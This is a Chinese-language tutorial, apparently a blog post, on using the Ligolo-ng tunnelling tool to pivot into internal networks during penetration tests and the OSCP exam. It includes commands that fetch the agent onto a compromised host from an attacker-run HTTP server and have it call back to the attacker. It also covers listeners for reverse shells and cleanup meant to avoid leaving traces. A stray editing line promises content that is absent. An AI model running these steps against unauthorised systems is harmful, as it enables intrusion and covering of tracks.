在渗透测试领域,网络枢纽(Pivoting)和隧道技术是攻防的核心技能,尤其是在OSCP(Offensive Security Certified Professional)考试中,能够快速、高效地访问目标网络内部资源往往是通关的关键。传统的隧道工具如SSH、Chisel、Socat和Netcat虽然功能强大,但在复杂网络环境下的性能、稳定性以及配置便捷性有时难以完全满足需求。而Ligolo-ng作为一款新兴的轻量级隧道工具,以其高效的TUN接口设计、无需SOCKS代理的特性以及高达100 Mbits/sec的传输速度,迅速成为渗透测试人员的新宠。本文将从Ligolo-ng的基础概念入手,详细讲解其安装、配置与使用流程,并深入探讨其在OSCP考试中的适用性,旨在帮助读者全面掌握这一强大工具。
第一部分:认识Ligolo-ng——新一代隧道工具
1.1 什么是Ligolo-ng?
Ligolo-ng 是一个由Nicolas Chatelain开发的高效隧道工具,基于Go语言编写,是对早期Ligolo项目的改进版本。它专为网络渗透测试设计,主要用于在攻击者与目标网络之间建立枢纽(Pivot)和隧道。与传统工具不同,Ligolo-ng通过反向TCP或TLS连接,结合操作系统提供的TUN接口(虚拟网络接口),构建了一个用户态网络栈,从而实现对目标网络的直接访问。
其工作原理可以简单概括为:
- 代理端(Agent):运行在已攻陷的目标机器上,负责与攻击者的代理(Proxy)建立连接。
- 代理(Proxy):运行在攻击者机器上,接收来自Agent的连接,并通过TUN接口将流量路由到目标网络。
这种设计避免了传统工具依赖SOCKS代理或逐一端口转发的复杂性,使得Ligolo-ng在性能和易用性上具有显著优势。
1.2 Ligolo-ng的核心特性
-
VPN-like
通过TUN接口,Ligolo-ng模拟了VPN的功能,将攻击者的流量无缝路由到目标网络。这种方式无需额外的代理工具(如Proxychains),即可直接访问内部资源。 -
多协议支持
支持TCP、UDP和ICMP协议,能够处理Nmap扫描(包括SYN扫描、OS检测)、服务枚举和Ping测试,传输速度可达100 Mbits/sec,远超许多传统工具。 -
灵活的端口转发
通过listener_add
命令,Ligolo-ng支持本地和远程端口转发,类似于SSH的-L
和-R
选项,但配置更直观。 -
无需特权运行Agent
Agent端无需管理员权限即可运行,非常适合权限受限的场景,例如OSCP中常见的低权限初始立足点。 -
多层Pivot支持
Ligolo-ng通过多会话管理(Session),能够轻松实现双重甚至三重Pivot,适应复杂的多层网络环境。
1.3 为什么选择Ligolo-ng?
与传统工具相比,Ligolo-ng的优势显而易见:
- 对比SSH:SSH需要配置SOCKS代理(如
-D
选项)或逐一转发端口,而Ligolo-ng通过路由表直接访问目标网络,效率更高。 - 对比Chisel:Chisel依赖SOCKS5代理,配置复杂且性能受限,Ligolo-ng则通过TUN接口提供更低的延迟和更高的吞吐量。
- 对比Socat:Socat功能强大但配置繁琐,Ligolo-ng的操作更简洁,适合快速部署。
在OSCP考试和真实渗透测试中,Ligolo-ng的这些特性使其成为处理复杂网络拓扑的理想选择。
第二部分:Ligolo-ng的安装与配置
2.1 安装准备
在使用Ligolo-ng之前,需要分别在攻击者机器和目标机器上部署Proxy和Agent组件。Proxy运行于攻击者端,作为流量中转核心;Agent则部署在目标端,负责建立与Proxy的连接。本节以Kali Linux(攻击者端)和Linux/Windows(目标端)为例,详细介绍安装流程。
下载Ligolo-ng
Ligolo-ng的预编译二进制文件可从其官方GitHub发布页面(github.com/nicocha30/ligolo-ng)获取。以下为具体步骤:
-
攻击者机器(Proxy端)
在Kali Linux上下载并解压Proxy组件:wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_proxy_0.7.5_Linux_64bit.tar.gz tar -xvf ligolo-ng_proxy_0.7.5_Linux_64bit.tar.gz mv proxy lin-proxy chmod +x lin-proxy
mv
命令将文件重命名为lin-proxy
,便于区分和调用。chmod +x
赋予执行权限。
-
目标机器(Agent端)
- Linux目标:
在目标Linux主机上执行以下命令:wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.5/ligolo-ng_agent_0.7.5_Linux_64bit.tar.gz tar -xvf ligolo-ng_agent_0.7.5_Linux_64bit.tar.gz mv agent lin-agent chmod +x lin-agent
- Windows目标:
从GitHub下载ligolo-ng_agent_0.7.5_Windows_64bit.zip
,使用解压工具(如WinRAR或7-Zip)解压,得到可执行文件agent.exe
。无需额外赋予权限,直接可用。
- Linux目标:
-
验证安装
在攻击者和目标机器上分别运行以下命令,检查版本信息:./lin-proxy --version ./lin-agent --version
正常情况下,输出应显示
ligolo-ng v0.7.5
或所下载的最新版本号,确保二进制文件可用。
2.2 配置TUN接口
Ligolo-ng利用TUN虚拟网络接口实现流量路由,因此在攻击者机器上必须正确配置并启用TUN接口。以下为Linux系统的配置步骤:
-
创建TUN接口
在Kali Linux中,使用以下命令创建虚拟接口:sudo ip tuntap add user $USER mode tun ligolo
$USER
为当前登录用户(如kali
),确保接口归属当前用户以便操作。ligolo
为自定义接口名称,可根据需要调整。
-
激活接口
将创建的TUN接口启用:sudo ip link set ligolo up
-
验证配置
检查网络接口状态:ip a
输出中应出现
ligolo
接口,且状态显示为UP
,表明接口已成功激活。
注意事项:
- Windows用户:需额外安装TAP驱动程序(如OpenVPN提供的TAP-Windows驱动)。安装后,可通过Windows设备管理器手动添加虚拟网卡并启用。具体步骤较为繁琐,建议参考Ligolo-ng官方文档或相关社区教程。
- 权限问题:若遇到权限不足,可尝试以root用户执行上述命令,或检查系统是否启用了TUN/TAP模块(
lsmod | grep tun
)。
以下是优化、润色并补充后的版本,增加了服务端操作细节、退出命令及其影响说明,以及多级内网反弹Shell和文件传输的完整流程。内容更加全面,逻辑清晰,实用性更强。
第三部分:Ligolo-ng的基本使用
本节将详细介绍Ligolo-ng的基本使用流程和操作。以攻击者机器(Kali Linux)通过已攻陷的目标A访问其内网(例如192.168.1.0/24
)为例,逐步展开。
3.1 基本使用流程
1. 启动代理(攻击者机器)
在攻击者机器上启动Ligolo-ng的Proxy服务:
./lin-proxy -selfcert
-selfcert
:自动生成自签名TLS证书,用于加密通信。- 默认监听端口为
11601
,可通过-listen <IP:PORT>
自定义。
2. 分发Agent文件
在攻击者机器上快速搭建HTTP服务以分发Agent:
python3 -m http.server 80
目标机器通过wget下载Agent:
wget http://<攻击者IP>/lin-agent
chmod +x lin-agent
3. 运行Agent(目标机器)
在目标机器上启动Agent并连接至Proxy:
./lin-agent -connect <攻击者IP>:11601 -ignore-cert
-connect
:指定Proxy的IP和端口。-ignore-cert
:忽略自签名证书的验证,简化部署。
4. 管理会话(攻击者机器)
Proxy启动后会进入交互式界面,可执行以下命令:
- 查看当前会话:
session
- 显示所有已连接的Agent及其ID。
- 选择会话:
start <ID>
- 例如
start 1
,进入指定Agent的隧道管理模式。
- 例如
- 查看帮助:
help
- 列出所有可用命令。
5. 添加路由
为访问目标内网,需在攻击者机器上配置路由:
sudo ip route add 192.168.1.0/24 dev ligolo
验证路由是否生效:
ip route
输出中应包含192.168.1.0/24 via ligolo
。
6.创建监听器
在Proxy交互界面输入:
listener_list
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444
listener_list
:列出现有监听器。listener_add
:新建监听器,将目标端的流量从0.0.0.0:1234
转发至攻击者本地的127.0.0.1:4444
。
3.2 渗透后清理配置
为避免留下痕迹,渗透完成后需清理相关配置和文件:
-
删除路由
在攻击者机器上移除添加的路由:sudo ip route del 192.168.1.0/24
-
关闭TUN接口
禁用并删除TUN接口:sudo ip link set ligolo down sudo ip tuntap del mode tun ligolo
-
清理目标端文件
在目标机器上删除Agent及其相关文件:- Linux:
rm -f lin-agent
- Windows:
del agent.exe
或del winpeas.exe
- Linux:
-
检查残留
- 攻击者端:运行
ip a
确认ligolo
接口已移除。 - 目标端:检查进程(
ps aux | grep agent
或任务管理器)确保无残留活动。
- 攻击者端:运行
第四部分:Ligolo-ng在OSCP中的适用性分析
4.1 OSCP常见场景
OSCP考试涉及多种Pivot和端口转发需求:
-
单一Pivot:
通过一个已攻陷的主机(如双网卡主机)访问其连接的内部网络。例如,从Kali访问一个Ubuntu主机,再通过它访问172.16.1.0/24网络。 -
多重Pivot:
在复杂网络中,可能需要通过多个主机(如Ubuntu到Windows再到另一个子网)逐步深入。 -
端口转发需求:
- 本地端口转发:将目标主机的服务(如内部Web服务器)映射到攻击者的本地端口。
- 远程端口转发:将攻击者的端口映射到目标网络,用于接收反向Shell。
- 动态端口转发:通过SOCKS代理(如Proxychains)访问目标网络。
-
协议限制:
需要支持TCP、UDP甚至ICMP(如Ping扫描),以完成网络枚举和服务发现。 -
工具使用:
OSCP中常用的工具包括SSH(带-L/-R/-D选项)、Chisel、Socat、Netcat、Meterpreter等。
4.2 Ligolo-ng的表现
单一Pivot
- 表现:通过路由表直接访问目标网络,优于SSH+Proxychains。
- 结论:完全适用。
多重Pivot
- 表现:多会话管理和路由调整轻松实现。
- 结论:完全适用。
端口转发
- 本地转发:
listener_add
实现,类似SSH-L
。 - 远程转发:Agent端监听器支持,类似SSH
-R
。 - 动态转发:无原生SOCKS,但VPN-like行为可替代。
- 结论:覆盖大部分需求,SOCKS场景需额外工具。
协议支持
- 表现:支持TCP/UDP/ICMP,但无特权Agent无法处理Raw Packet。
- 结论:满足大部分需求,少数高级扫描受限。
易用性
- 表现:配置简单,但需熟悉TUN和路由。
- 结论:适合OSCP,需提前练习。
4.3 综合评估
Ligolo-ng在单一Pivot、多重Pivot和大部分端口转发场景中表现出色,优于传统工具。然而,其缺乏SOCKS代理支持和Raw Packet转发能力,使其无法完全替代SSH、Chisel等工具。
4.4 结论
- 答案:不能完全替代,但覆盖90%以上场景。
- 建议:主用Ligolo-ng,辅以SSH/Chisel,确保全面应对。
总结
Ligolo-ng以其高效、简单和灵活的特点,成为OSCP考试和真实渗透测试中的新一代隧道工具。通过本教程,您已经掌握了从安装、配置到删除的完整流程。无论是单点隧道还是复杂网络中的双重枢纽,Ligolo-ng都能为您提供强大的支持。立即尝试,解锁渗透测试的新高度吧!
参考资料